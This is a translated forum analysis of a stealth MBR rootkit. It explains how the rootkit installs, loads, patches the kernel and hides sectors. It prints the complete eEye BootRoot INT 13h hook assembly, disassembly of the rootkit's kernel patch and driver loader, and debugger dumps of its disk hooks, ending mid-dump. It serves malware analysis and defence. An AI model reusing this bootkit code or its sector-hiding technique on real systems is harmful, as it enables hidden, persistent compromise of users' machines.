首页
论坛
课程
招聘
[翻译]Stealth MBR rootkit
2011-9-3 13:23 15920

[翻译]Stealth MBR rootkit

2011-9-3 13:23
15920
给大家翻译一篇不错的文章,写的是MBR Rookit方面的技术,第一次翻译文章,若有不对之处,请大家多多指正。   原文地址:http://www2.gmer.net/mbr/

    2005年,eEye信息安全的研究者Derek Soeder 和 Ryan Permeh展示了作品eEye BootRoot,他们作品里用到的技术不是新技术,而是dos时代流行的。但是他们却成功的首次将这项技术应用于Windows NT系统中。eEye信息安全的研究者略过了一部分----BootRoot没有像dos时代MBR病毒一样隐藏被感染扇区的内容。BootRoot的诞生只是为了展示在windows NT中感染MBR的方法。
    不幸的是,所有的Windows NT系列仍然用相同的安全机制---MBR能在用户模式下修改,不过,在微软在pagefile attack事件后,在vista系统中封锁了用户模式下对磁盘扇区的写访问。
(译者注:pagefile attack参见http://web17.webbpro.de/index.php?page=pagefile-attack,如果有需要,我会给大家翻译出来)
    stealth MBR rootkit在2007年底被MR团队成员发现,看起来,如果MBR一直不被保护,这种感染Windows NT的方式在不久的将来会更加普遍。

    MBR rootkit的"优点":
    1.在操作系统启动之前完全控制机器引导过程中代码的执行。
    2.rootkit不需要文件---代码能存在于磁盘的某些扇区中,不会被当作普通文件删除。
    3.rootkit不需要注册表入口,因为它是由MBR加载的。
    4.rootkit只要控制很少的一些扇区就能隐藏自己。

   MBR rootkit的运行方式:
    1.安装程序
    2.MBR加载程序
    3.内核修改程序
    4.驱动加载程序
    5.扇区隐藏/保护程序
    6.内核驱动程序
    7.检测
    8.清除

--------------------------------------------------------------------------------------------------------
   
安装程序

--------------------------------------------------------------------------------------------------------
    rootkit的安装程序把恶意内核驱动程序(244 736字节)的内容写到磁盘的最后几个扇区(offset: 2 142 830 592),然后修改扇区0,扇区60,扇区61和扇区62。
    所隐藏扇区的内容:
    0扇区:MBR rootkit加载程序
    61扇区:加载程序的内核部分
    62扇区:原始MBR的副本
    下面是"Process Monitor"的日志,显示了rootkit安装程序修改扇区的过程:

"39680","10:43:34,1365132","ldo2.tmp","848","CreateFile","\Device\Harddisk0\DR0","SUCCESS","Desired Access: Generic Read/Write, Disposition: Open, OpenResult: Opened"
"39688","10:43:34,1419365","ldo2.tmp","848","DeviceIoControl","\Device\Harddisk0\DR0","FAST IO DISALLOWED","Control: IOCTL_DISK_GET_DRIVE_GEOMETRY"
"39689","10:43:34,1419952","ldo2.tmp","848","DeviceIoControl","\Device\Harddisk0\DR0","SUCCESS","Control: IOCTL_DISK_GET_DRIVE_GEOMETRY"
"39690","10:43:34,1424517","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 0, Length: 512, I/O Flags: Non-cached"

"39769","10:43:34,2424965","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 2 142 830 592, Length: 512, I/O Flags: Non-cached"
"39770","10:43:34,2492468","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 2 142 831 104, Length: 512, I/O Flags: Non-cached"
"39771","10:43:34,2495318","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 2 142 831 616, Length: 512, I/O Flags: Non-cached"
...
"40463","10:43:34,5546049","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 2 143 185 408, Length: 512, I/O Flags: Non-cached"

"40679","10:43:34,7473241","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 30 720, Length: 512, I/O Flags: Non-cached"

"40692","10:43:34,7854862","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 31 232, Length: 512, I/O Flags: Non-cached"

"40705","10:43:34,7947558","ldo2.tmp","848","ReadFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 31 744, Length: 512, I/O Flags: Non-cached"

"40718","10:43:34,8035200","ldo2.tmp","848","WriteFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 2 142 830 592, Length: 244 736, I/O Flags: Non-cached"
"40719","10:43:34,8152900","ldo2.tmp","848","WriteFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 30 720, Length: 512, I/O Flags: Non-cached"
"40720","10:43:34,8252619","ldo2.tmp","848","WriteFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 31 232, Length: 512, I/O Flags: Non-cached"
"40721","10:43:34,8265515","ldo2.tmp","848","WriteFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 31 744, Length: 512, I/O Flags: Non-cached"
"40722","10:43:34,8277706","ldo2.tmp","848","WriteFile","\Device\Harddisk0\DR0","SUCCESS","Offset: 0, Length: 512, I/O Flags: Non-cached"

"40729","10:43:34,8335180","ldo2.tmp","848","CloseFile","\Device\Harddisk0\DR0","SUCCESS",""
--------------------------------------------------------------------------------------------------------

MBR加载程序

--------------------------------------------------------------------------------------------------------
rootkit重写原始MBR代码,并把原始MBR的副本保存在62扇区。rootkit的作者大多数使用eEye研究者开发的MBR加载程序,只不过修改了源代码使rootkit用来修改windows内核,而不是NDIS驱动程序。

原始eEye MBR代码
;===============================================================
; eEye BootRoot v0.90                  Last updated: 08/08/2005
;---------------------------------------------------------------
; Demonstration of the capabilities of custom boot sector code
; on a Windows NT-family system.
;
; Derek Soeder - eEye Digital Security - 04/02/2005
;===============================================================
.486p
.model tiny
BOOTORG EQU 7C00h                        ; our code is executed by the BIOS at 0000h:7C00h
BOOTROOT_SIZE EQU 200h
BOOTROOT GROUP BRCODE16, BRDATA
ASSUME CS:BOOTROOT, DS:BOOTROOT, ES:BOOTROOT, SS:BOOTROOT
BRCODE16 SEGMENT byte use16
@BRCODE16_START EQU $
;###################################
;##  Boot-Time Installation Code  ##
;###################################
    ;
    ; Initialization
    ;
    cli
    xor        bx, bx
    mov        ss, bx
    mov        ss:[BOOTORG - 2], sp
    mov        sp, (BOOTORG - 2)
    push        ds
    pushad

    mov        ds, bx
    ; Reserve 1KB conventional memory for our memory-resident code
    dec        word ptr ds:[0413h]            ; 0040h:0013h - base memory size in KBs
    mov        ax, ds:[0413h]
    shl        ax, (10-4)                ; AX *= 1024 / 16 (convert linear address in KBs to a segment)

    mov        es, ax
    ; Copy ourselves to reserved memory and initialize the rest to zeroes
    cld
    mov        si, BOOTORG
    xor        di, di
    mov        cx, BOOTROOT_SIZE / 2
    rep movsw
    xor        ax, ax
    mov        ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
    rep stosw

    ; Install our INT 13h hook
    mov        eax, ds:[bx + (13h*4)]
    mov        es:[INT13HANDLER - @BRCODE16_START], eax    ; store previous handler
    mov        word ptr [bx + (13h*4)], @Int13Hook    ; point INT 13h vector to our hook handler
    mov        [bx + (13h*4) + 2], es            ; (BX = 0 from earlier)
    ; Load and execute MBR from first hard drive (do this from resident code)
    push        es
    push        @BootFromHDD
    retf
@BootFromHDD:
    sti
    mov        es, cx                    ; CX = 0 from above REP STOSW
    mov        ax, 0201h                ; AL = number of sectors
    inc        cx                    ; CH = cylinder; CL = sector and high bits of cylinder
    mov        dx, 0080h                ; DH = head; DL = drive number
    mov        bh, (BOOTORG / 100h)            ; ES:BX -> destination buffer
    int        13h                    ; INT 13h/AH=02h: Read sector(s) into memory
    popad
    pop        ds
    pop        sp
    db        0EAh                    ; JMP FAR 0000h:7C00h
    dw        BOOTORG, 0000h

;##################################
;##  INT 13h Hook Real-Mode ISR  ##
;##################################
@Int13Hook:
    pushf
    cmp        ah, 42h                    ; IBM/MS INT 13 Extensions - EXTENDED READ
    je        short @Int13Hook_ReadRequest
    cmp        ah, 02h                    ; DISK - READ SECTOR(S) INTO MEMORY
    je        short @Int13Hook_ReadRequest
    popf
    db        0EAh                    ; JMP FAR INT13HANDLER
INT13HANDLER EQU $
    dd        ?
@Int13Hook_ReadRequest:
    mov        byte ptr cs:[INT13LASTFUNCTION], ah
    ; Invoke original handler to perform read operation
    popf
    pushf                            ; push Flags because we're simulating an INT
    call        dword ptr cs:[INT13HANDLER]        ; call original handler
    jc        short @Int13Hook_ret            ; abort immediately if read failed
    pushf
    cli
    push        es
    pusha
    mov        ah, 00h
INT13LASTFUNCTION EQU $-1
    cmp        ah, 42h
    jne        short @Int13Hook_notextread
    lodsw
    lodsw                            ; +02h  WORD    number of blocks to transfer
    les        bx, [si]                ; +04h  DWORD   transfer buffer
@Int13Hook_notextread:
    ; Scan sector for a signature of the code we want to modify
    test        al, al
    jle        short @Int13Hook_scan_done
    cld
    mov        cl, al
    mov        al, 8Bh
    shl        cx, 9                    ; (AL * 200h)
    mov        di, bx
  @Int13Hook_scan_loop:
                                ; 8B F0       MOV ESI, EAX
                                ; 85 F6       TEST ESI, ESI
                                ; 74 21       JZ $+23h
                                ; 80 3D ...   CMP BYTE PTR [ofs32], imm8
                                ; (the first 6 bytes of this signature exist in other modules!)
    repne scasb
    jne        short @Int13Hook_scan_done
    cmp        dword ptr es:[di], 74F685F0h
    jne        short @Int13Hook_scan_loop
    cmp        word ptr es:[di+4], 8021h
    jne        short @Int13Hook_scan_loop
    mov        word ptr es:[di-1], 15FFh        ; FFh/15h/xx/xx/xx/xx: CALL NEAR [ofs32]
    mov        eax, cs
    shl        eax, 4
    add        cs:[(NDISBACKDOOR_LINEAR - @BRPATCHFUNC32_START) + BRCODE16_SIZE], eax
    add        ax, (@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE
    mov        cs:[PATCHFUNC32_LINEAR], eax        ; should be okay to add to AX, since we can't cross 1KB boundary
    add        ax, PATCHFUNC32_LINEAR - ((@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE)
    mov        es:[di+1], eax
@Int13Hook_scan_done:
    popa
    pop        es
    popf
@Int13Hook_ret:
    retf 2                            ; discard saved Flags from original INT (pass back CF, etc.)

@BRCODE16_END EQU $
BRCODE16_SIZE EQU (@BRCODE16_END - @BRCODE16_START)
BRCODE16 ENDS

--------------------------------------------------------------------------------------------------------

内核修改程序

--------------------------------------------------------------------------------------------------------
MBR rootkit加载程序勾住了13号中断用来控制NTLDR所加载的扇区。它修改了内核的两处区域:第一个是NT!IoInitSystem函数调用,第二个是内核映像的最后一页。在开始的时候rootkit调用原始nt!IoInitSystem函数并且加载它自己的驱动程序。
start    end        module name
804d7000 806ebc80   nt         
806ebe00 806ebfff   rootkit code
806ec000 806ffd80   hal        

修改过的内核代码

806a0a79 0f85d9dcffff     jne     nt!Phase1Initialization+0x942 (8069e758)
806a0a7f e8f9650100       call    nt!ExInitSystemPhase2 (806b707d)
806a0a84 6a19             push    0x19
806a0a86 e83af1e6ff       call    nt!InbvUpdateProgressBar (8050fbc5)
806a0a8b ffb590fbffff     push    dword ptr [ebp-0x470]
806a0a91 891d78cb5480     mov     [nt!KdpTimeSlipPending (8054cb78)],ebx
806a0a97 e8cef30000       call    nt!XIPInit (806afe6a)
806a0a9c 6a4b             push    0x4b
806a0a9e 6a19             push    0x19
806a0aa0 e83cf1e6ff       call    nt!InbvSetProgressBarSubset (8050fbe1)
806a0aa5 ffb590fbffff     push    dword ptr [ebp-0x470]

806a0aab e850b30400       call    806ebe00

806a0ab0 84c0             test    al,al
806a0ab2 0f84e7dcffff     je      nt!Phase1Initialization+0x9b9 (8069e79f)
806a0ab8 6a64             push    0x64
806a0aba 53               push    ebx
806a0abb e821f1e6ff       call    nt!InbvSetProgressBarSubset (8050fbe1)
806a0ac0 391d007f5580     cmp     [nt!InitSafeBootMode (80557f00)],ebx
806a0ac6 be3f000f00       mov     esi,0xf003f
806a0acb 0f85d5dcffff     jne     nt!Phase1Initialization+0x9d9 (8069e7a6)
806a0ad1 381d142b5580     cmp     [nt!InitIsWinPEMode (80552b14)],bl
806a0ad7 0f8563deffff     jne     nt!Phase1Initialization+0xb76 (8069e940)
806a0add 8bb590fbffff     mov     esi,[ebp-0x470]
806a0ae3 56               push    esi
806a0ae4 6a02             push    0x2
806a0ae6 e82c020000       call    nt!MmInitSystem (806a0d17)
806a0aeb 6a50             push    0x50
806a0aed e8d3f0e6ff       call    nt!InbvUpdateProgressBar (8050fbc5)
806a0af2 e8fb070000       call    nt!KeI386VdmInitialize (806a12f2)
806a0af7 e8f11e0000       call    nt!KiLogMcaErrors (806a29ed)
806a0afc 6a01             push    0x1
806a0afe e85cf1ffff       call    nt!PoInitSystem (8069fc5f)
806a0b03 84c0             test    al,al
806a0b05 0f8419daffff     je      nt!Phase1Initialization+0x259 (8069e524)
806a0b0b 56               push    esi

原始内核代码

806a0a79 0f85d9dcffff     jne     nt!Phase1Initialization+0x942 (8069e758)
806a0a7f e8f9650100       call    nt!ExInitSystemPhase2 (806b707d)
806a0a84 6a19             push    0x19
806a0a86 e83af1e6ff       call    nt!InbvUpdateProgressBar (8050fbc5)
806a0a8b ffb590fbffff     push    dword ptr [ebp-0x470]
806a0a91 891d78cb5480     mov     [nt!KdpTimeSlipPending (8054cb78)],ebx
806a0a97 e8cef30000       call    nt!XIPInit (806afe6a)
806a0a9c 6a4b             push    0x4b
806a0a9e 6a19             push    0x19
806a0aa0 e83cf1e6ff       call    nt!InbvSetProgressBarSubset (8050fbe1)
806a0aa5 ffb590fbffff     push    dword ptr [ebp-0x470]

806a0aab e844e6ffff       call    nt!IoInitSystem (8069f0f4)

806a0ab0 84c0             test    al,al
806a0ab2 0f84e7dcffff     je      nt!Phase1Initialization+0x9b9 (8069e79f)
806a0ab8 6a64             push    0x64
806a0aba 53               push    ebx
806a0abb e821f1e6ff       call    nt!InbvSetProgressBarSubset (8050fbe1)
806a0ac0 391d007f5580     cmp     [nt!InitSafeBootMode (80557f00)],ebx
806a0ac6 be3f000f00       mov     esi,0xf003f
806a0acb 0f85d5dcffff     jne     nt!Phase1Initialization+0x9d9 (8069e7a6)
806a0ad1 381d142b5580     cmp     [nt!InitIsWinPEMode (80552b14)],bl
806a0ad7 0f8563deffff     jne     nt!Phase1Initialization+0xb76 (8069e940)
806a0add 8bb590fbffff     mov     esi,[ebp-0x470]
806a0ae3 56               push    esi
806a0ae4 6a02             push    0x2
806a0ae6 e82c020000       call    nt!MmInitSystem (806a0d17)
806a0aeb 6a50             push    0x50
806a0aed e8d3f0e6ff       call    nt!InbvUpdateProgressBar (8050fbc5)
806a0af2 e8fb070000       call    nt!KeI386VdmInitialize (806a12f2)
806a0af7 e8f11e0000       call    nt!KiLogMcaErrors (806a29ed)
806a0afc 6a01             push    0x1
806a0afe e85cf1ffff       call    nt!PoInitSystem (8069fc5f)
806a0b03 84c0             test    al,al
806a0b05 0f8419daffff     je      nt!Phase1Initialization+0x259 (8069e524)
806a0b0b 56               push    esi

注:红色部分为rootkit修改过的代码
--------------------------------------------------------------------------------------------------------

内核驱动加载程序

--------------------------------------------------------------------------------------------------------
rootkit加载程序的主要部分打开"\??\PhysicalDrive0"设备,把恶意驱动程序的内容从磁盘里读取出来,Rootkit用它自己的代码把映像加载到内存里,最后加载程序转到入口点执行。

81bf077f 51               push    ecx
81bf0780 52               push    edx
81bf0781 6a18             push    0x18
81bf0783 8bcc             mov     ecx,esp
81bf0785 6a20             push    0x20
81bf0787 6a03             push    0x3
81bf0789 56               push    esi
81bf078a 51               push    ecx
81bf078b 6800001080       push    0x80100000
81bf0790 57               push    edi

kd> r
eax=805715e7 ebx=81bf06e5 ecx=f9e637ec edx=00000000 esi=f9e63810 edi=f9e6380c

kd> dt -r nt!_OBJECT_ATTRIBUTES f9e637ec
   +0x000 Length           : 0x18
   +0x004 RootDirectory    : (null)
   +0x008 ObjectName       : 0xf9e63804  "\??\PhysicalDrive0"
      +0x000 Length           : 0x24
      +0x002 MaximumLength    : 0x26
      +0x004 Buffer           : 0x81bf074e  "\??\PhysicalDrive0"
   +0x00c Attributes       : 0x40
   +0x010 SecurityDescriptor : (null)
   +0x014 SecurityQualityOfService : (null)

81bf0791 ffd0             call    eax {nt!NtOpenFile (805715e7)}
81bf0793 55               push    ebp
81bf0794 6862e00737       push    0x3707e062
81bf0799 ffd3             call    ebx {81bf06e5}
81bf079b 97               xchg    eax,edi
81bf079c 55               push    ebp
81bf079d 6816d5fc84       push    0x84fcd516
81bf07a2 ffd3             call    ebx {81bf06e5}
81bf07a4 8906             mov     [esi],eax
81bf07a6 6800000000       push    0x0
81bf07ab 680000b97f       push    0x7fb90000    ; offset of the first sector = 2 142 830 592
81bf07b0 8bcc             mov     ecx,esp
81bf07b2 6a00             push    0x0
81bf07b4 51               push    ecx
81bf07b5 b900bc0300       mov     ecx,0x3bc00
81bf07ba 51               push    ecx
81bf07bb 51               push    ecx
81bf07bc 6a00             push    0x0
81bf07be ffd7             call    edi {nt!ExAllocatePool (8050fd66)}
81bf07c0 50               push    eax
81bf07c1 56               push    esi
81bf07c2 8bce             mov     ecx,esi
81bf07c4 96               xchg    eax,esi
81bf07c5 33d2             xor     edx,edx
81bf07c7 52               push    edx
81bf07c8 52               push    edx
81bf07c9 52               push    edx
81bf07ca ff742458         push    dword ptr [esp+0x58]
81bf07ce ff11             call dword ptr [ecx]{nt!NtReadFile (80571b30)} ds:0023:f9e63810=80571b30
81bf07d0 55               push    ebp
81bf07d1 685f4cd4dc       push    0xdcd44c5f
81bf07d6 ffd3             call    ebx {81bf06e5}
81bf07d8 ff742440         push    dword ptr [esp+0x40]
81bf07dc ffd0             call    eax {nt!NtClose (805675d9)}
81bf07de 8b463c           mov     eax,[esi+0x3c]
81bf07e1 03c6             add     eax,esi
81bf07e3 50               push    eax
81bf07e4 8b5050           mov     edx,[eax+0x50]
81bf07e7 52               push    edx
81bf07e8 52               push    edx
81bf07e9 6a00             push    0x0
81bf07eb ffd7             call    edi {nt!ExAllocatePool (8050fd66)}
81bf07ed 97               xchg    eax,edi
81bf07ee 59               pop     ecx
81bf07ef 57               push    edi
81bf07f0 32c0             xor     al,al
81bf07f2 f3aa             rep     stosb
81bf07f4 5f               pop     edi
81bf07f5 58               pop     eax
81bf07f6 60               pushad
81bf07f7 8b4854           mov     ecx,[eax+0x54]
81bf07fa f3a4             rep     movsb
81bf07fc 61               popad
81bf07fd 2bc6             sub     eax,esi
81bf07ff 03c7             add     eax,edi
81bf0801 0fb74806         movzx   ecx,word ptr [eax+0x6]
81bf0805 8d90f8000000     lea     edx,[eax+0xf8]
81bf080b 60               pushad
81bf080c 037214           add     esi,[edx+0x14]
81bf080f 037a0c           add     edi,[edx+0xc]
81bf0812 8b4a10           mov     ecx,[edx+0x10]
81bf0815 e302             jecxz   81bf0819
81bf0817 f3a4             rep     movsb
81bf0819 61               popad
81bf081a 83c228           add     edx,0x28
81bf081d e2ec             loop    81bf080b
81bf081f 50               push    eax
81bf0820 60               pushad
81bf0821 8bfe             mov     edi,esi
81bf0823 91               xchg    eax,ecx
81bf0824 b900ef0000       mov     ecx,0xef00
81bf0829 f3ab             rep     stosd
81bf082b 61               popad
81bf082c 55               push    ebp
81bf082d 681f9d489d       push    0x9d489d1f
81bf0832 ffd3             call    ebx {81bf06e5}
81bf0834 95               xchg    eax,ebp
81bf0835 56               push    esi
81bf0836 ffd5             call    ebp {nt!ExFreePool (8054b7aa)}
81bf0838 8b742408         mov     esi,[esp+0x8]
81bf083c ffb42484000000   push    dword ptr [esp+0x84]
81bf0843 57               push    edi
81bf0844 8b4628           mov     eax,[esi+0x28]
81bf0847 03c7             add     eax,edi
81bf0849 ffd0             call    eax {81951946}    <--- driver's entry point
81bf084b 0bc0             or      eax,eax
81bf084d 7d0e             jge     81bf085d
81bf084f 8b4e50           mov     ecx,[esi+0x50]
81bf0852 e309             jecxz   81bf085d
81bf0854 32c0             xor     al,al
81bf0856 57               push    edi
81bf0857 f3aa             rep     stosb
81bf0859 5f               pop     edi
81bf085a 57               push    edi
81bf085b ffd5             call    ebp
81bf085d 83c460           add     esp,0x60
81bf0860 33c0             xor     eax,eax
81bf0862 8bfb             mov     edi,ebx
81bf0864 83ef15           sub     edi,0x15
81bf0867 b99c010000       mov     ecx,0x19c
81bf086c f3aa             rep     stosb                        
81bf086e 61               popad
81bf086f c20400           ret     0x4
-------------------------------------------------------------------------------------------

扇区隐藏/保护程序

-------------------------------------------------------------------------------------------
为了隐藏MBR和其他扇区的真实内容,rootkit勾住了"\Driver\Disk"的IRP_MJ_READ请求。通常情况下,当API读取0扇区(也就是MBR)时,Rootkit修改磁盘IRP_MJ_READ调用并返回62扇区的原始MBR副本。第二个钩子(IRP_MJ_WRITE)保护自身不被删除或覆盖。

---- Devices - GMER 1.0.13 ----

Device  \Driver\Disk \Device\Harddisk0\DR0 IRP_MJ_READ   81831410
Device  \Driver\Disk \Device\Harddisk0\DR0 IRP_MJ_WRITE  81831410

---- Threads - GMER 1.0.13 ----

Thread  4:2032                                           81837EE8
Thread  4:2036                                           81830E44
Thread  4:2040                                           81836496
Thread  4:120                                            81867A90
Thread  4:1716                                           818552E0
Thread  4:124                                            8189B9D0
Thread  4:160                                            81841540
Thread  4:232                                            818362A0

---- EOF - GMER 1.0.13 ----

kd> dt -r _DEVICE_OBJECT 81be1ab8
   +0x000 Type             : 3
   +0x002 Size             : 0x518
   +0x004 ReferenceCount   : 0
   +0x008 DriverObject     : 0x81b92510
      +0x000 Type             : 4
      +0x002 Size             : 168
      +0x004 DeviceObject     : 0x81be0310
         +0x000 Type             : 3
         +0x002 Size             : 0x368
         +0x004 ReferenceCount   : 0
         +0x008 DriverObject     : 0x81b92510
         +0x00c NextDevice       : 0x81be1ab8
         +0x010 AttachedDevice   : (null)
         +0x014 CurrentIrp       : (null)
         +0x018 Timer            : (null)
         +0x01c Flags            : 0xd0
         +0x020 Characteristics  : 0x100
         +0x024 Vpb              : 0x81be0288
         +0x028 DeviceExtension  : 0x81be03c8
         +0x02c DeviceType       : 7
         +0x030 StackSize        : 5 ''
         +0x034 Queue            : __unnamed
         +0x05c AlignmentRequirement : 1
         +0x060 DeviceQueue      : _KDEVICE_QUEUE
         +0x074 Dpc              : _KDPC
         +0x094 ActiveThreadCount : 0
         +0x098 SecurityDescriptor : 0xe13c9d90
         +0x09c DeviceLock       : _KEVENT
         +0x0ac SectorSize       : 0x200
         +0x0ae Spare1           : 0
         +0x0b0 DeviceObjectExtension : 0x81be0678
         +0x0b4 Reserved         : (null)
      +0x008 Flags            : 0x12
      +0x00c DriverStart      : 0xf9a7c000
      +0x010 DriverSize       : 0x8e00
      +0x014 DriverSection    : 0x81bf1ca0
      +0x018 DriverExtension  : 0x81b925b8
         +0x000 DriverObject     : 0x81b92510
         +0x004 AddDevice        : 0xf9a94ec0           CLASSPNP!ClassAddDevice+0
         +0x008 Count            : 1
         +0x00c ServiceKeyName   : _UNICODE_STRING "Disk"
         +0x014 ClientDriverExtension : 0x81b92388
         +0x018 FsFilterCallbacks : (null)
      +0x01c DriverName       : _UNICODE_STRING "\Driver\Disk"
         +0x000 Length           : 0x18
         +0x002 MaximumLength    : 0x18
         +0x004 Buffer           : 0xe1403358  "\Driver\Disk"
      +0x024 HardwareDatabase : 0x8068de90  "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
         +0x000 Length           : 0x5a
         +0x002 MaximumLength    : 0x5c
         +0x004 Buffer           : 0x805ceb98  "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
      +0x028 FastIoDispatch   : (null)
      +0x02c DriverInit       : 0xf9a838ab        disk!GsDriverEntry+0
      +0x030 DriverStartIo    : (null)
      +0x034 DriverUnload     : 0xf9a9353a        CLASSPNP!ClassUnload+0
      +0x038 MajorFunction    : [28] 0xf9a92c30        CLASSPNP!ClassCreateClose+0
   +0x00c NextDevice       : (null)
   +0x010 AttachedDevice   : 0x81be0020
      +0x000 Type             : 3
      +0x002 Size             : 0x1c8
      +0x004 ReferenceCount   : 0
      +0x008 DriverObject     : 0x81bd4748
         +0x000 Type             : 4
         +0x002 Size             : 168
         +0x004 DeviceObject     : 0x81be0020
         +0x008 Flags            : 0x12
         +0x00c DriverStart      : 0xf9cd4000
         +0x010 DriverSize       : 0x4900
         +0x014 DriverSection    : 0x81bf1de0
         +0x018 DriverExtension  : 0x81bd47f0
         +0x01c DriverName       : _UNICODE_STRING "\Driver\PartMgr"
         +0x024 HardwareDatabase : 0x8068de90  "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
         +0x028 FastIoDispatch   : (null)
         +0x02c DriverInit       : 0xf9cd7880           PartMgr!DriverEntry+0
         +0x030 DriverStartIo    : (null)
         +0x034 DriverUnload     : 0xf9cd49a1           PartMgr!PmUnload+0
         +0x038 MajorFunction    : [28] 0xf9cd44af           PartMgr!PmPassThrough+0
      +0x00c NextDevice       : (null)
      +0x010 AttachedDevice   : (null)
      +0x014 CurrentIrp       : (null)
      +0x018 Timer            : (null)
      +0x01c Flags            : 0x10
      +0x020 Characteristics  : 0x100
      +0x024 Vpb              : 0x81bebca0
         +0x000 Type             : 10
         +0x002 Size             : 88
         +0x004 Flags            : 0
         +0x006 VolumeLabelLength : 0
         +0x008 DeviceObject     : (null)
         +0x00c RealDevice       : 0x81be0020
         +0x010 SerialNumber     : 0
         +0x014 ReferenceCount   : 0
         +0x018 VolumeLabel      : [32] 0
      +0x028 DeviceExtension  : 0x81be00d8
      +0x02c DeviceType       : 7
      +0x030 StackSize        : 4 ''
      +0x034 Queue            : __unnamed
         +0x000 ListEntry        : _LIST_ENTRY [ 0x0 - 0x0 ]
         +0x000 Wcb              : _WAIT_CONTEXT_BLOCK
      +0x05c AlignmentRequirement : 1
      +0x060 DeviceQueue      : _KDEVICE_QUEUE
         +0x000 Type             : 20
         +0x002 Size             : 20
         +0x004 DeviceListHead   : _LIST_ENTRY [ 0x81be0084 - 0x81be0084 ]
         +0x00c Lock             : 0
         +0x010 Busy             : 0 ''
      +0x074 Dpc              : _KDPC
         +0x000 Type             : 0
         +0x002 Number           : 0 ''
         +0x003 Importance       : 0 ''
         +0x004 DpcListEntry     : _LIST_ENTRY [ 0x0 - 0x0 ]
         +0x00c DeferredRoutine  : (null)
         +0x010 DeferredContext  : (null)
         +0x014 SystemArgument1  : (null)
         +0x018 SystemArgument2  : (null)
         +0x01c Lock             : (null)
      +0x094 ActiveThreadCount : 0
      +0x098 SecurityDescriptor : (null)
      +0x09c DeviceLock       : _KEVENT
         +0x000 Header           : _DISPATCHER_HEADER
      +0x0ac SectorSize       : 0
      +0x0ae Spare1           : 0
      +0x0b0 DeviceObjectExtension : 0x81be01e8
         +0x000 Type             : 13
         +0x002 Size             : 0
         +0x004 DeviceObject     : 0x81be0020
         +0x008 PowerFlags       : 0
         +0x00c Dope             : 0x81b81d60
         +0x010 ExtensionFlags   : 0
         +0x014 DeviceNode       : (null)
         +0x018 AttachedTo       : 0x81be1ab8
         +0x01c StartIoCount     : 0
         +0x020 StartIoKey       : 0
         +0x024 StartIoFlags     : 0
         +0x028 Vpb              : (null)
      +0x0b4 Reserved         : (null)
   +0x014 CurrentIrp       : (null)
   +0x018 Timer            : (null)
   +0x01c Flags            : 0x50
   +0x020 Characteristics  : 0x100
   +0x024 Vpb              : 0x81bebd00
      +0x000 Type             : 10
      +0x002 Size             : 88
      +0x004 Flags            : 0x10
      +0x006 VolumeLabelLength : 0
      +0x008 DeviceObject     : (null)
      +0x00c RealDevice       : 0x81be1ab8
         +0x000 Type             : 3
         +0x002 Size             : 0x518
         +0x004 ReferenceCount   : 0
         +0x008 DriverObject     : 0x81b92510
         +0x00c NextDevice       : (null)
         +0x010 AttachedDevice   : 0x81be0020
         +0x014 CurrentIrp       : (null)
         +0x018 Timer            : (null)
         +0x01c Flags            : 0x50
         +0x020 Characteristics  : 0x100
         +0x024 Vpb              : 0x81bebd00
         +0x028 DeviceExtension  : 0x81be1b70
         +0x02c DeviceType       : 7
         +0x030 StackSize        : 3 ''
         +0x034 Queue            : __unnamed
         +0x05c AlignmentRequirement : 1
         +0x060 DeviceQueue      : _KDEVICE_QUEUE
         +0x074 Dpc              : _KDPC
         +0x094 ActiveThreadCount : 0
         +0x098 SecurityDescriptor : 0xe13c9d90
         +0x09c DeviceLock       : _KEVENT
         +0x0ac SectorSize       : 0
         +0x0ae Spare1           : 1
         +0x0b0 DeviceObjectExtension : 0x81be1fd0
         +0x0b4 Reserved         : (null)
      +0x010 SerialNumber     : 0xffffffff
      +0x014 ReferenceCount   : 0
      +0x018 VolumeLabel      : [32] 0
   +0x028 DeviceExtension  : 0x81be1b70
   +0x02c DeviceType       : 7
   +0x030 StackSize        : 3 ''
   +0x034 Queue            : __unnamed
      +0x000 ListEntry        : _LIST_ENTRY [ 0x0 - 0x0 ]
         +0x000 Flink            : (null)
         +0x004 Blink            : (null)
      +0x000 Wcb              : _WAIT_CONTEXT_BLOCK
         +0x000 WaitQueueEntry   : _KDEVICE_QUEUE_ENTRY
         +0x010 DeviceRoutine    : (null)
         +0x014 DeviceContext    : (null)
         +0x018 NumberOfMapRegisters : 0
         +0x01c DeviceObject     : (null)
         +0x020 CurrentIrp       : (null)
         +0x024 BufferChainingDpc : (null)
   +0x05c AlignmentRequirement : 1
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
      +0x000 Type             : 20
      +0x002 Size             : 20
      +0x004 DeviceListHead   : _LIST_ENTRY [ 0x81be1b1c - 0x81be1b1c ]
         +0x000 Flink            : 0x81be1b1c  [ 0x81be1b1c - 0x81be1b1c ]
         +0x004 Blink            : 0x81be1b1c  [ 0x81be1b1c - 0x81be1b1c ]
      +0x00c Lock             : 0
      +0x010 Busy             : 0 ''
   +0x074 Dpc              : _KDPC
      +0x000 Type             : 0
      +0x002 Number           : 0 ''
      +0x003 Importance       : 0 ''
      +0x004 DpcListEntry     : _LIST_ENTRY [ 0x0 - 0x0 ]
         +0x000 Flink            : (null)
         +0x004 Blink            : (null)
      +0x00c DeferredRoutine  : (null)
